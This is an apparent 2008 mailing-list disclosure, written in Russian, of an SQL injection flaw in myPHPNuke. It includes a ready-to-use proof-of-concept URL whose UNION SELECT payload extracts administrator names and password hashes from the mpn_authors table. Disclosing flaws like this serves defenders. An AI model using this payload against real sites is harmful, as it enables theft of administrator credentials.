Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

[SECURITY] [DSA 1633-1] New slash packages fix multiple vulnerabilities

Plesk 8.6.0 authentication flaw allows to gain virtual user priviledges

Multiple Cross Site Scripting (XSS) Vulnerabilities in vtigerCRM 5.0.4, CVE-2008-3101

From:	MustLive <mustlive_(at)_websecurity.com.ua>
Date:	02.09.2008
Subject:	SQL Injection vulnerability in myPHPNuke

Здравствуйте 3APA3A!

Сообщаю вам о найденной мною SQL Injection уязвимости в системе myPHPNuke.

SQL Injection:

http://site/article.php?sid=-1%20union%20select%20null,null,null,
null,aid,pwd,null,null,null%20from%20mpn_authors%20limit%200,1

Уязвимы версии до myPHPNuke 1.8.8_8rc2 (а в последней версии системы при
отключенных magic quotes возможна ограниченная SQL Injection атака).

Дополнительная информация о данных уязвимостях у меня на сайте:
http://websecurity.com.ua/2394/

Best wishes & regards,
MustLive
Администратор сайта
http://websecurity.com.ua